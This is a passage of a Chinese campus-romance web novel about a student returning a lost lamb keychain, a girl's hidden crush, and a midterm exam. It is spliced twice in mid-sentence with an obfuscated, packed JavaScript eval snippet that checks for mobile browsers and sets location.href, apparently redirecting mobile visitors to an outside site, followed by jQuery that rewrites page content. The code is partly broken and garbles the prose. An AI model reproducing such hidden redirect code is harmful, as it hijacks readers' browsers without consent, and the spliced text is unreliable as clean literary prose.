哪怕明知道又要考试,可大多数人回到家里依旧静不下心学习,整天想着往外跑,比起其他父母,田静则是巴不得自己儿子多出去走走,找朋友聊天逛街都行,生怕他天天在家里学傻了。 她和方峥都是医生由于医院太忙的缘故,大多数时间都是在医院度过,没办法照顾孩子,也不是经常陪着方知韫,大多数时候是交给爷爷奶奶带的,这样夫妻俩更放心去忙工作。 方爷爷年轻时是个老师,还是严师那一挂的,训孩子的手段一套一套的,方知韫在老人的教导下,远没有其他孩子那么跳脱贪玩,小小年纪就挺直背坐在椅子上看书,不吵不闹不说话的,一看就是一下午,俨然一副少年老成的模样。 等夫妻俩工作稳定把人接回来,才发现自己儿子已经定型了,压根不需要他们烦恼,稳重虽好缺少了点朝气。 这不轮到小号的时候打算亲自带,培养出一个阳光活泼的小太阳,然而看着方知睿那次次不及格的卷子,夫妻俩这才发现自己并不适合教导孩子,不仅一次懊恼的想:早知道,还不如让爷爷带呢。 田梅去上班时给兄弟俩准备好了饭菜,千叮咛万嘱咐让他俩好好相处,让方知睿不要看电视记得做作业,还不忘提醒方知韫不要老刷题,玩玩手机和电脑。 兄弟俩答应的好好,门一关,刷题的依旧刷题,看电视的仍然看电视,半点没有将话放在心上。 “叮咚——” 中午时,正在屋里刷题的方知韫听见敲门声,头也没回喊了声,“方知睿,去开门。” “马上马上。”方知睿稚嫩的童声从客厅传来。 “三……” 听到倒数,原本还窝在沙发上一边看铁甲小宝,一边吃着薯片的方知睿嘟着嘴,不清不情愿的跳下来光光脚踩在地板上去开门。 门一打开,方知睿欣喜不已的声音传来,“席元哥!” 随之响起的是一道充满朝气的男声,年纪不大,十六七岁的模样,头发修剪的很有造型,鼻梁上有一颗痣,眼尾上挑,脸上还带着点笑意,伸手掐着方知睿肉乎乎的脸蛋调侃,“唉哟,几天不见小知睿又瘦了啊,看起来越来越帅了。” 胖的眼睛眯成一条缝的方知睿摸着后脑勺嘿嘿笑了笑,任由人掐着自己的脸也不生气,一副软绵绵的好脾气样。 席元站在门口往屋里张望,好奇问,“你哥呢,在家没?” “屋里学习呢。” “成,你继续看电视,我去瞅瞅。” 说完,席元自顾自换了拖鞋用食指甩着钥匙串往方知韫房间走去,见门没关,整个人靠着门框,假装客气的敲了敲,“哟,忙着呢?” “有事说事,没事快走。” “我这不是怕你无聊来找你出去玩嘛,”席元抱着手挑眉,“走,请你看电影去。” “找你女朋友去。” “别提了,分了。” 听到这句,方知韫停下笔坐在椅子上转过身,看着靠着门穿着破洞流仔裤,卷了头发戴着耳钉脖子挂着十字架项链,一副父母口中标准坏学生打扮的席元,无语问,“你从哪儿过来的?” “家里啊。” 方知韫满眼不信。 席元轻车熟路的往方知韫躺床一躺,双手枕在脑后,解释说,“我爸出差,我妈今天和你妈值班呢。” 田静女士和席元他妈同为一个科室的医生,这么多年两人关系极好,方知韫和席元又是一个小学一个初中的,一来二去自然而然也成为了朋友,可惜席元成绩太差只能上个普高,要不然两人还能搁一中再续前缘。 正因为认识多年而太过了解对方,方知韫一看这人骚包的打扮,就猜到他看电影是假看美女是真的用意,毫不留情的拒绝,“不去。” “啧,”席元翻了个白眼,没好气说:“我说,你都年级第一名,能不能给我们普通人留点活路?少学一天会死吗?” 回答他的是方知韫转回去埋头刷题的背影。 自讨没趣的席元瘪了瘪嘴,从床上弹起来,用脚尖勾了张椅子,一屁股坐下脚尖用力一点,椅子带着他滑向书桌,他趴在桌上好声好气哀求,“我都失恋了,你就当我陪我成不?” “就你一个月谈一个女朋友的频率,我看不出你的难过。” “不陪就不陪,不带说话这么难听的,”席元翻了个白眼,随后一本正经反驳,“再说了无早恋,不青春!” 方知韫瞥了人一眼,面无表情的假笑了一下。 感觉被人嘲讽的席元不乐意了,不满大喊,“你别不信啊,我给你说……” 话戛然而止,席元余光看向桌面上那个小绵羊的钥匙扣,一把抓了过来拿在手里翻看,满眼写满好奇,“这不是你的吧,哪儿来的?” 看清席元手里东西,方知韫脸色一沉,伸手就要抢,席元顺势往后一躲,用指尖勾住钥匙扣晃了晃,眯着眼追问,“你不对劲哦~说!谁给你的,男的女的?我认识不?” “你别乱动,这是别人的东西。”方知韫皱了皱眉。 “我当然知道这不是你的,谁给你的?” “捡的。” “捡的?”席元语气依旧怀疑,“那怎么不还给别人。” 方知韫没说话,趁着席元一个疏忽,一把将钥匙扣抢了回来,反应极快的拉开抽屉放了进去,不给席元一点机会,才不急不慢的说:“会还的。” 随后任由席元怎么追问再不说一句话,只是看着桌面上的闹钟,秒针一点一点转动,发出哒哒哒的声音,然后…… “叮叮——” 晚自习的下课铃声响起,依旧有许多人留在教室准备过两天的期中考,陈以昭也是一点不敢放松,她知道英语是自己的薄弱点,在英语上下足了功夫,小甘的单词本几乎不离身,每天两眼一睁就是背,远没有初中的懒散。 原本有些小聪明,靠着那点天赋和基础,陈以昭能拥有一个好看的成绩,就连初中班主任都不止一次提过,若不是因为她的粗心大意,是能和杨羡一样冲一冲实验班。 原先不以为然,可真到了一中,她发现世界上从来不缺聪明的人,只有更努力,更勤奋,更认真,才能从这么多优秀的人才中脱颖而出。 更何况期中考试不仅是检验学习成果,更是关系到高二的分班,她想进实验班,不仅为了离方知韫近一点,更是为了自己。 不一样的学习氛围和师资,令陈以昭意识到区别,为了不浪费三年的光阴,也为了毕业后有更多选择的权利,都得拼尽全力,毕竟高考就是千军万马过独木桥。 为了这个目标,陈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16071226|178189||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以昭成了寝室里起得最早,睡得最晚的那个,不仅走路在看背单词,连课间也被她用来刷阅读理解。 晚上宿舍熄灯后,利用睡前的空白时间,更是蜷缩在被窝里用手机打着光,借着那微弱的光源,打开错题集翻开默写错的单词,黑夜里只能看见微弱的光亮和偶尔翻页的窸窣声。 看完后正准备关掉手机休息,刚闭上眼,突然间想到了什么,伸手从枕头底下掏出笔记本,用被子蒙住头借用手机的灯翻开着。 原本只是用来记录高中日常琐事的笔记本,从军训开始,悄然多出了许多关于方知韫的碎片: 他的生日是1月19日;喜欢听的歌是《CouldThisBeLove》;喜欢的颜色是蓝色;喜欢喝地下铁的薄荷苏打;以及喜欢像小羊一样乖巧可爱的女孩…… 一点一滴,越来越多关于方知韫的细节被记录其中,仿佛二人之间也逐渐变得熟络起来,她所看到的不单单是一个名字,而是越发鲜活的人。 陈以昭嘴角不自觉地弯起,目光停留在“摩羯座”三个字上,脑海中闪过一个念头,将日记本放回原位后,握紧手机,飞快在输入框中搜索:双子女和摩羯座男适配度。 学校的网有些慢,页面加载了会儿才出现,映入眼帘的是几个刺眼的大字和百分比: 【双子座(女)&摩羯座(男)配对指数:40%】 【未来渺茫的一对】 40%? 未来渺茫? 需要奇迹? 一个接一个的噩耗让陈以昭只觉得一股无名火“噌”地窜上头顶,脸色难看在心里骂骂咧咧,恨不得大喊一句封建迷信不可信。 可越想越气,脑袋一热,下意识抬脚一踹。 “咚!”一声闷响在寂静的夜里格外清晰。 “啊——”紧接着是陈以昭痛彻心扉的惨叫。 那一脚好巧不巧踢到了床栏,没有反应的时间,大拇指传来的剧痛让她瞬间蜷缩起来,疼的忍不住流泪。 “怎么了?地震了?” “我的妈,给我吓一跳。” “陈以昭你大晚上发什么疯啊?” 室友们被这动静吓醒,纷纷从被窝里探出头。 陈以昭疼得龇牙咧嘴,心虚的解释,连声音都变了调:“那什么,我做噩梦了,梦到在踢球,然后不小心踢到床栏了。” 听到这个理由,其他人面面相觑,眼神里充满了看弱智的表情。 第二天,陈以昭的左脚大脚趾不负众望地肿了起来,虽然不严重,到走路碰到还是会疼的龇牙咧嘴,以至于走路时都是一瘸一拐的。 上午大课间,其他人都去做操了,她这才慢慢挪去厕所,出来时,走廊上到处都是人,其他班的好奇打量着她,陈以昭低着头,眉头紧锁,心里正烦躁地咒骂着昨晚脑袋进水的自己。 “同学,你好。” 到教室门口时,一个声音在身后响起,不大,却清晰地穿透了走廊的嘈杂。 陈以昭皱着眉,带着一脸的烦躁,猛地转过头去。 时间仿佛在那一刻被按下了暂停键,声音瞬间消散,嘈杂的人潮化作了模糊流动的背景板,只有那个穿着校服的身影清晰浮现在瞳孔之中。 心脏骤停,世界寂静。 方知韫的目光落在陈以昭脸上,视线相交,足以看清她的样子,然后,语气平静地开口: “麻烦帮我喊一下你们班的温梨。” 20. 第二十章 脚趾的疼痛似乎都感觉不到了,只她愣在原地,眨了眨眼,意料之外的话在耳边响起,在看到方知韫这一刻便生锈的大脑停顿了好一会儿,才迟缓的重新启动, “啊?哦!好。”陈以昭迟钝的反应过来,听见自己有些慌乱的回答,心跳的异常快,有那么一瞬间感觉快要跳出嗓子眼,强行保持镇定,生怕别人瞧出端倪。 她甚至不敢再看方知韫一眼,几乎有些慌张的转身,一瘸一拐地往教室挪去,走了两步,担心自己这个姿势太丑,强行正常走路,那怕每一步都牵动着红肿的脚趾也忍着。 后门到窗边的距离不算远,和陈以昭额头出了汗,站在温梨座位敲了敲,抬头挺胸,尽量让自己的声音听起来正常:“温梨,外面有人找你。” 说着,她指了指后门的方向,随即坐回了自己位置,不经意的摊开一本书,像是不关心周围发生的一切,实际上余光却时不时瞥向门口。 “找我?”温梨脸上写满了疑惑,放下手中的笔,顺着陈以昭指的方向望去。 走廊上满是来来回回的学生,隔着人群,当看清站在走廊光影里身影时,温梨疑惑瞬间变成了惊讶。 方知韫? 他为什么会来找自己? 想到这里,温梨下意识地看向身旁的陈以昭,后者却低着头翻着手里的政治书,只留给她一个沉默的侧影,毫不关心周围的样子。 思考一会儿,她按下心中疑惑推开椅子起身,在周围同学好奇的目光中,有些局促地走了出去。 “欸,那是不是1班的方知韫?” “我去还真是,他来找温梨?什么情况?他们认识?” “陈以昭,快说说怎么回事?”郭佳佳从前桌转过来,一把抢过陈以昭的书,眼中闪烁着八卦之魂。 听到这两人的名字被同时提及,陈以昭只觉得心口像堵了一团湿棉花,闷得她喘不过气,她不想装作不在意,实际上她在意的要死,可是她不能说,也没有资格置喙,只是把书抢了回来,低着头闷声闷气地说:“我怎么知道。” 声音里带着她自己都没察觉的硬邦邦。 几个女生见陈以昭没兴趣,也没继续追问,悻悻地散开了些,可目光还是不受控的看向门口。 人群散开,陈以昭看着政治书上密密麻麻的字只觉得和天书一样,烦躁地把头埋进臂弯,趴在桌上,侧过头,竖起耳朵,盯着走廊上的二人观察。 方知韫似乎在对温梨说着什么,眉眼柔和,温梨背对着自己,低着头,以至于看不清她的表情,光影勾勒他们的轮廓,形成了一道青春洋溢的画面。 走廊的声音嘈杂吵闹,说笑声和打闹声清晰的传来,可却没有陈以昭最想听的声音。 明明隔得不远不近,可他们站在一起却像有一道无形的屏障,将她隔绝在外。 “他们什么时候认识的?”陈以昭喃喃自语,声音轻的像是叹息,带着自己不愿承认的介意,以及自己无法控制的心绪不宁。 与此同时,温梨走到方知韫面前,这是二人第一次离得这么近,在周围人好奇的眼神中,她仰着头看向面前帅气好看的男生,眼中带着紧张,声音细若蚊呐:“你找我吗?” 方知韫垂眸,看着眼前这个睫毛像蝴蝶轻颤,脸上带着不安的女生,没有过多寒暄,只是从校服外套的口袋里,掏出了一个小小的东西,张开手心递了过去。 那是一个有些旧了的毛绒小羊钥匙扣,白色的羊毛,眼睛是两颗小小的黑色珠子,看起来温顺乖巧,不难看出主人对它的喜爱。 温梨的目光也随之落在那个钥匙扣上,接过来打量了会儿,有些疑惑皱了皱眉,眼中先是茫然,随即瞳孔猛地一缩,她难以置信地抬起头,眼睛亮亮的看向方知韫,惊喜的说:“这是……” “暑假,在花园路的公交车站。”方知韫言简意赅地提醒。 听到这几个字,温梨的记忆如潮水般涌现,是关于她暑假帮妈妈卖水果的记忆,那个混乱、狼狈、绝望的每一天,以及城管粗暴的推搡,还有满地滚落,被踩烂的水果。 还有,孤立无援狼狈不堪时,一只帮她捡起桃子递过来的手,她不知道那个男生是谁,只匆匆瞥见对方低垂的帽檐和干净的下颌线,却是她贫瘠人生中难得的善意。 “那个男生是你?”带着鸭舌帽的男生和眼前这人重合了,温梨的声音带着震惊的颤抖,眼睛瞬间睁大,圆圆的,如同她手中的那只小羊。 方知韫微微颔首。 巨大的窘迫和迟来的感激交织在一起,瞬间淹没了温梨,她没有良好的家世优秀的父母,害怕被别人看见自己的狼狈和不堪,总是小心翼翼维持着自己的自尊心,可眼下却有种无地自容的尴尬,脸颊爆红,手指攥紧衣袖,小声道谢,“谢谢你,还是那天也是。” “当时捡到了就想还给你,可是你走的太快了,我喊了很多声你都没听见,之后一直没找到人,”方知韫解释着,语气依旧客气有礼貌,“直到那天运动会结束,看到你在树下……” 声音顿了顿,方知韫换了个说法,“看到你的背影才认出来是你。” 听人提及,温梨这才有印象,紧接着身体几不可察地僵了一下,在厕所隔间里听到的话,再次像刀子一样回响在耳边。 班上有几个女生字里行间的不屑,觉得她不自量力,不像陈以昭那么优秀,明明没有那个能力还要报名,最后拿了个倒数拖了班级分,甚至还有人吐槽自己沉闷讨喜的性格,不明白为什么陈以昭会和自己做朋友…… 一字一句,都带有极强的恶意,这些话化作一根根利刺扎进心中,将她的勇气和尊严丢在地上践踏,可她又无法反驳,毕竟每一句都是即定的事实,那怕现在回想起来依旧觉得难受,巨大的委屈让她喉头哽咽,眼眶迅速泛红。 看着温梨瞬间泛红的眼眶和紧咬的唇瓣,方知韫想到那天躲起来哭泣的女孩,意识到自己或许提到别人的伤心事,眼中掠过一丝歉意,声音放缓了些,“东西还给你,那我走了。” 方知韫转身欲走,刚迈出一步,却又停了下来,出于自己也说不清的原因,他侧过身,看向温梨。 “对了,”秋风吹起,男生的声音在走廊中显得清晰而平静,“还没自我介绍,我是……” “我知道,”回答声几乎是脱口而出,温梨抬起头,清澈的目光直直地撞进方知韫的眼里,“高一(1)班方知韫。” 她的声音不大,却带着一种肯定,仿佛早已认识很久。 少女清澈的眼眸里倒影着周围一切,眼尾泛红却勇敢地迎视着他。 方知韫微微一怔,似乎没料到她认识自己。 “我叫温梨。” “我知道。” 青春洋溢的少男少女面对面,只隔着几步的距离,视线在秋日午后的走廊里短暂相交,明明没有任何过度的交谈,可那一刻,时间仿佛慢了下来,构成了一幅如同大多数青春小说插画的场景 方知韫最终只是微微颔首,转身离开时和趴在桌上的陈以昭对上视线,后者的表情有一瞬间被抓包的慌乱,可他只看了一眼,便匆匆移开。 而温梨握着那个小小的钥匙扣,看着方知韫的身影消失在走廊尽头,也转身回了教室。 前脚刚坐下,后脚就被八卦的目光包围: “温梨你和方知韫认识啊?” “他来找你干嘛?” “你们刚刚说什么呢?快给我们说说。” 周围的同学围了过来,可明眼人都能看出她们关心的并不是温梨,而是方知韫。 温梨朝着众人浅浅一笑,摊开手心,露出那个旧旧的毛绒小羊钥匙扣,声音听起来没有什么异常的说:“我和他不熟,是我钥匙扣之前掉了,刚好被他捡到了,他来还给我而已,我刚刚也被吓了一跳。” “啊?没了?” “就这?害我白激动一场。” “看不出来,方知韫人还怪好的。”前桌的郭佳佳从中抓住了重点,引得其他人附和。 众人一听只是物归原主的无聊故事,顿时失去了兴趣,纷纷散去,倒让温梨暗自松了口气,她用指尖摩挲着钥匙扣,眼神飘忽,下意识侧头看向身旁,陈以昭面对窗户趴在桌上,温梨抿唇思考将钥匙扣塞进了课桌。 上课铃声适时响起,数学老师走进教室,将假睡的陈以昭吵醒,她目不转睛的盯着黑板强迫自己集中精神,可思绪却像被小猫抓过一样,乱七八糟。 突然出现的方知韫打乱了她的节奏,还有他和温梨站在一块儿的刺眼画面,每一个细节都让陈以昭坐立难安。 忍了又忍,终于还是没忍住,陈以昭本身就是喜怒哀乐都在脸上的性格,于是趁着老师在黑板上写题的间隙,低头在草稿纸上写了一句话,装作不经意的推了过去,接着在桌子底下用笔帽轻轻戳了戳温梨的腰。 腰上一痒,原本聚精会神的温梨被吓了一跳,侧头看向身旁,在陈以昭的眼神示意中接过草稿纸,空白的A4纸上写了一句话: 【你什么时候和方知韫认识的?】 她抬眼看了眼面对黑板的数学老师,确定不会被发现,才抿了抿唇,低头在草稿纸上回复,又轻轻推了回去: 【暑假的时候帮忙,遇见城管赶人,他帮我捡东西,走的时候钥匙扣掉了被他捡到,所以来还给我。】 陈以昭知道温梨家的事,也清楚她有空会帮她妈妈卖水果,看到这里,压在心口的那块沉甸甸大石头落了下去,所有的不悦消失的无影无踪,咧开嘴乐着回: 【原来是这样啊,之前都没听你说过。】 温梨看着陈以昭一改刚刚郁闷消沉的表情,整个人又恢复了活力,犹豫了会儿还是在纸上写: 【我和他之前不认识,上次也只是意外,而且他那次带着帽子,要不是他刚刚提起来,我根本没认出来。】 陈以昭没有丝毫怀疑,毕竟她认识的方知韫会在开学的时候朝自己伸出援手,也会给同学提供帮助,连拒绝女孩子的表白都尊重有礼。 因为喜欢,总觉得他哪儿都好,少年人的爱意总是如此纯粹。 陈以昭的眼睛亮晶晶的,脸上是自己都没注意到的笑意,以一种轻松愉悦的心情一笔一划在纸上写下: 【哇,他人真的好好。】 这时,数学老师转过身开始点人起来回答问题,温梨没有回,只是朝着陈以昭露出一个笑容,仿佛刚刚的隔阂从来不存在一样。 误会解除,介意的事也有了原因,明白是自己想多了,陈以昭的心情立刻多云转晴,不再想那些有的没的。 她挺直了腰板,认真看着黑板记笔记,整个人打起了十二分精神,半点看不出刚刚趴在桌上闷闷不乐的模样,学习使人兴奋,以至于脚上的疼痛也变得微不足道起来。 教室里响起数学老师一遍一遍讲解的声音,听得众人昏昏欲睡,除了少数人,其他人的思绪都不知道飞到哪儿了。 温梨目不转睛看着黑板,手却不受控的伸进课桌,指尖感受着绒毛的柔软触感,面无表情一副认真,可思绪却像窗外飘过的云,飞得很远很远。 那个炎热的夏日,那个带着帽子帮她捡起桃子的男生,以及亭子外语气平静的提示,过去和站在的画面交织重叠,在她平静的心湖里,投下了一颗小小的石子,湖面漾开了一圈圈涟漪。 伴随着催眠的讲课声,温梨心中浮现一个念头:如果陈以昭喜欢的不是方知韫就好了。 如果她喜欢的不是方知韫,那自己是不是…… 是不是可以…… 这个念头如同火星一般,在她的大脑里疯狂蔓延,连带心跳都变得急促起来,耳边不合时宜想到在厕所听到的那句话: “你们不觉得吗?温梨这个人,也太不自量力了吧。” 刺耳的话如同一盆冷水,浇灭了那些旖旎的幻想,她握紧中性笔的手指渐渐收紧,指尖泛白,死死咬住下唇。 理智恢复,温梨觉得自己确实不自量力,她处处不如陈以昭,即便陈以昭不喜欢方知韫,那也轮不到自己,她凭什么?她有什么? 鱼和飞鸟,本就不同路。 这个插曲并未让众人放在心上,乔安澜和杨羡听说这事,也只是一笑而过,感叹一句方知韫人还不错。 比起这个八卦,她们更关心做梦踢球把自己踢伤了的陈以昭,就连乔一帆都听到消息发Q.Q慰问了一番。 好在,陈以昭的脚并不算严重,赶在期中考前恢复的差不多。 这次期中考为了杜绝有人作弊,没有根据学生的入校成绩来分,座位是彻底打乱的,陈以昭被孤零零的分到了13考场,没有一个熟人,甚至和其他人都不在一个楼层,惹得乔安澜大喊,这都是命。 虽然没有熟人陪伴而有点小失落,但好在陈以昭随遇而安的性格并没难过太久,转身就将注意力投入到复习之中,甚至为了不浪费时间,放弃了看考场,选择回了寝室继续和英语单词死磕,直到熄灯了才揣着满脑子的语法句式缓缓睡去。 第二天一早,她踩着时间,和郭佳佳她们分开后,步履匆匆的往考场赶,走廊人头攒动,还有人在临时抱佛脚,抱着语文书被那些绕口的古诗词,空气中弥漫着一股紧张的气息。 到考场时监考老师还没到,陈以昭回想了一下自己的座位号,抬脚走了进去,里面已经坐了不少学生没有几个空位,她扫视了一圈,寻找着自己的座位,当视线掠过第二列时顿了顿,瞳孔不由得收缩。 方知韫没有察觉到落在自己身上的视线,他懒洋洋的靠着椅子,微微抬头看着黑板上方的时钟,修长的手指转着笔,带着点漫不经心的懒散,却让陈以昭呼吸一滞,乱了心神。 她从未设想过会有意外之喜,深吸了口气,故作镇定的走向自己的位置,第三列的最后一个,在方知韫的左后方,这也就意味着,只要一抬头就能看见。 猝不及防的欣喜在心中浮现,陈以昭拉开椅子坐下,心跳声大的仿佛能盖过走廊传来的嘈杂声,视线却不受控的看向右前方那道熟悉的背影上,清澈明亮的眼眸中,藏着自己才知道的爱意。 似乎是察觉到身后的视线,方知韫握紧笔扭头,恰好和还未来得及收回目光的陈以昭对上视线,后者的眼神肉眼可见变得慌乱,有种被抓包的尴尬。 相比之下,方知韫神色平静镇定自若,大概想到前不久在走廊上叫住人的场景,出于一种基本的礼貌,他对着陈以昭的方向微微点了下头。 然而,这份礼貌并没有收获意料之中的回应,再寻常不过的动作,可落在陈以昭眼里,却让她本就急促的心跳更加慌乱。 她大脑一片空白,甚至不知该有什么反应,只是猛地移开视线,反应大到头扭了四十五度,盯着窗台上的绿萝发呆,仿佛看到了什么恐怖的画面一样,无人看见他脸上泛起的绯红。 方知韫对她这近乎厌恶的反应感到惊讶,平静的脸上裂开了一道名为尴尬的神情,眼中掠过一丝几不可察的疑惑。 他感到奇怪,这个女生是平易近人的性格,在和其他人相处时,总是眼中带着笑,整个人散发出阳光般的活力,一举一动都充满了感染力,永远是人群的焦点人物。 即便两人的关系算不上多数,可无论如何,也不应该像现在这样避之不及,甚至吝啬一个回应,仿佛他是什么洪水猛兽吃人的怪物一样。 她是讨厌自己吗? 难道自己在什么地方无意中得罪过她? 方知韫仔细回想了一遍,依旧是一头雾水,他并不擅长处理人际关系,无暇揣摩别人的情绪,微微蹙了下眉,随着铃声响起,他将注意力收了回来,不再去思考这个问题,而是全身心投入到考试中。 监考老师拿着试卷抬腿迈进教室,瞬间将所有人拉入紧张的战场。 期中考的安排很紧促,一共两天需要考九科,评论每天要考四科,没有给学生太多喘息的时间。 上午第一科是语文,教室里连带着整个走廊都非常安静,卷子发下来后就只剩下笔尖划过纸张的沙沙声,如同密集的雨点,令人神经紧绷不敢有一点松懈。 陈以昭摊开卷子一目十行的扫过,嘴唇无声念背着古诗,随后再答题卡上写下确定的答案,她写得专注,偶尔遇到不确定的题目也会蹙眉思考。 好在语文难度不大,写完作文的最后一个字后,陈以昭放下笔揉了揉发酸的手腕,抬头看向黑板,还有差不多二十分钟,她又翻开检查了一遍,再三确定无误才松了口气。 第一科考完后有半个小时的注意时间,给他们上厕所和放松的,走廊上又变得热闹起来,各种笑声说话声响成一片,甚至还夹杂着对答案的哀嚎声。 陈以昭没有动,这个考场的人她一个也不认识,也没有和其他人交谈,只是趴在桌子上休息,目光不受控的再次看向右前方。 方知韫也没出去吹风,依旧坐在位置上,正翻着物理书在看,手臂横在桌上,翻书时展现出好看的线条。 她看着他的背影,嘴角不自觉上扬,她知道自己喜欢方知韫,却无法描述具体的时间,具体的感觉,也说不清到底喜欢他哪一点,在还没有找到脱口而出的理由时,目光已经下意识落在他身上。 如果方知韫在这时回头,会发现他以为讨厌自己的女生,看向自己的目光带着藏不住的开心。 喜欢藏在躲闪的眼神中,青春时的爱意能存在多久,她不知道,但至少此时的心动是真实存在的。 陈以昭从来不觉得自己配不上方知韫,只是想要再优秀一点,再耀眼一点,再好一点,让方知韫完完全全地看见自己,从而了解自己,再喜欢上自己。 这个想法让陈以昭振奋不已,兴致勃勃的直接进行第二科考试,物理比起语文就更安静了,语文再难好歹是中国字,怎么都能写的满满当当,物理就不一样了,选择题靠蒙,填空题乱写,后面大题直接空着无从下手,态度好点的还会写个解字。 以至于才过去二十分钟,已经有人趴在桌上睡觉了,监考老师见怪不怪,也没叫醒他们,时间飞快流逝,时间还剩十五分钟的时候,教室里已经有人陆陆续续交卷。 侧头看向窗外,走廊上随处可见走动的学生,甚至隐约能听到呼喊朋友名字和催促的吆喝声,声音太大,监考老师皱着眉站在门口严厉训斥了一通,外面的学生才有所收敛,可随着交卷的人越来越多,喧闹声又再次响起。 陈以昭写完最后一道复杂的力学大题,低头又算了一遍结果还是一样后,满意笑了笑,她揉了揉脖颈看向右前方,方知韫依旧保持着端正的坐姿,右手飞快在草稿纸上演算,侧脸的线条显得格外清晰,紧抿着唇,整个人专注而安静。 “叮——”黑板上方的时钟走到12:00点时,考试结束的铃声骤然响起。 “所有人放下笔别写了,把卷子交上来。”监考老师的声音洪亮地响起,把所有人的困意打散。 随着上午的考试结束,所有人终于松了口气,走廊上吵杂不已,教室里的人更是一刻也坐不住,飞快冲了出去,三五成群勾肩搭背的离开, 教室里剩下的学生已经不多了,只有三两个还在等同学的,陈以昭性格风风火火速度又快,平时收拾东西都是一股脑往书包里塞的,这会儿却磨蹭起来,像是突然被按了慢放键,慢吞吞盖上笔盖,又不急不慢把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16105083|178189||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 卷子皱褶抚平叠好,再小心翼翼放进书包里。 她手上动作没停,可余光像被无形的线牵引着,总是时不时瞟向某个方向。 方知韫也在有条不紊地收拾东西,比起陈以昭的刻意为止,他的动作不疾不徐,是平时就养成的性格。 教室里又离开了两个人,一点动静都会被无限放大,就在陈以昭思索是自己先走还是等方知韫先走的时候,一个大嗓门伴随着脚步声冲进了教室。 “老方,你怎么还没收拾好啊,我快饿死了,考个试太费体力了,我一会儿得多吃点。”人未至声先到,接着才看见卫子尧从门外探头进来,对着方知韫的方向吆喝。 听见熟悉的声音,方知韫头也没抬,淡淡回了句:“马上。” 卫子尧就不是安心等着的性子,等不及地凑到方知韫桌边,手搭在讲桌杀鸡看他收拾东西,忍不住压低声音问:“哎,你物理最后一道选择题选的啥?C还是D?我算了三遍三个结果。” 方知韫将笔放进书包,直起身,想了想说出答案,“C。” 几乎是同一时刻,一直听着两人对话的陈以昭也说出的了答案,她的声音很小,像是喃喃自语,可在空荡荡的教室里显得格外清晰,足以让不远处的两人听到那句很轻的,“C。” 两个声音,不一样的音量和音色,却像有默契一样,异口同声地说出了同一个答案。 方知韫有些意外地扭过头,目光精准地看向声音来源。 陈以昭也没想到自己的自言自语的声音这么大,还被听见了,感觉像偷听别人聊天的变态一样,尴尬的无地自容,连忙低下头装作若无其事收拾东西,实际上看着手忙脚乱的。 卫子尧自然也听到了这个声音,他顺着方知韫的目光看过去,看清楚是谁后,眼睛一亮,朝着人挥了挥手,“陈以昭?你也在这个考场啊!” 两人在运动会有过狼人杀的一面之缘,都是好相处的性格,有了那次契机自然而然也算认识。 卫子尧对陈以昭印象很好,秉承多个朋友多条路的理念,自然将人归为朋友一类,这会儿碰到理所当然得打招呼。 被人点了名,再装傻就不合适了,陈以昭只能尴尬的挤了挤眉,换上一个自然的表情抬起头,朝人笑着点了点头:“是啊,好巧哦。” 卫子尧看看陈以昭,又看看旁边的方知韫,理所当然觉得这二人不认识,再次秉承着人际交往是个圈的理念,眼珠一转,自来熟地拍了拍方知韫的肩膀,抬了抬下巴:“真有缘,你跟陈以昭一个考场,难得一见,都是朋友啊,来来来,大家都来认识一下。” 他指着方知韫对陈以昭说,“这是方知韫,我好兄弟,也是我们班第一名。” 说完,又指着陈以昭对方知韫说,“这是陈以昭,五班的,你可别小看她,人厉害着呢,上次老覃夸了半天的人就是她。” 方知韫的目光落在陈以昭身上,隔着一点距离,二人视线相交,他想到了那个寂静凉爽的晚自习,想到了陈以昭的优秀和敏锐,在心中认可卫子尧的话,以至于破天荒的主动开口,“你好。” 那声音不像平时那么疏离,带着点温柔,却像一颗投入湖面的石子,打破了平静。 “咚。” 一瞬间心脏骤然漏了一拍,整个世界安静了下来,只剩下那句“你好”在耳边回荡,只有两个字的轻声,却带着一种奇异的魔力。 陈以昭的目光终于不再闪躲,直直地撞进了方知韫深邃的眼眸里,脑袋一片空白,甚至完全忽视还站在一旁的卫子尧,目之所及都只有一个人。 她张了张嘴,正想回应: “陈以昭!磨蹭什么呢?还吃不吃饭了,我都快饿死了。” 就在这时,乔安澜毫无收敛的大嗓门从教室门口传来,吸引了三人的注意,也打破了这短暂的凝滞。 这个声音太过突然了,却让让陈以昭猛地回过神,她下意识侧头看向门外,看见皱着眉没什么耐心的乔安澜,甚至来不及回应,只能慌乱地对着两人的方向歉意的笑笑,然后抓起书包,几乎是迫不及待般冲出了教室,奔向门口等待的乔安澜。 “你干嘛呢?在楼下等你半天了?”人刚到乔安澜的质问声就随之响起。 “没注意看时间,走了走了,请你喝可乐。”陈以昭推着人离开。 “一寸光阴一寸金,你这是在蓄意谋杀我给你说。” “是是是,快走了,你不是饿了吗。” 两人推搡着走远,连声音都消散在走廊尽头。 方知韫看着那个仓惶消失在门口的背影,又回想了刚刚的场景,微微挑了下眉,越发坚定陈以昭不太喜欢自己的推测,眼底浮现出困惑,看向卫子尧,好奇的问:“我很烦吗?” 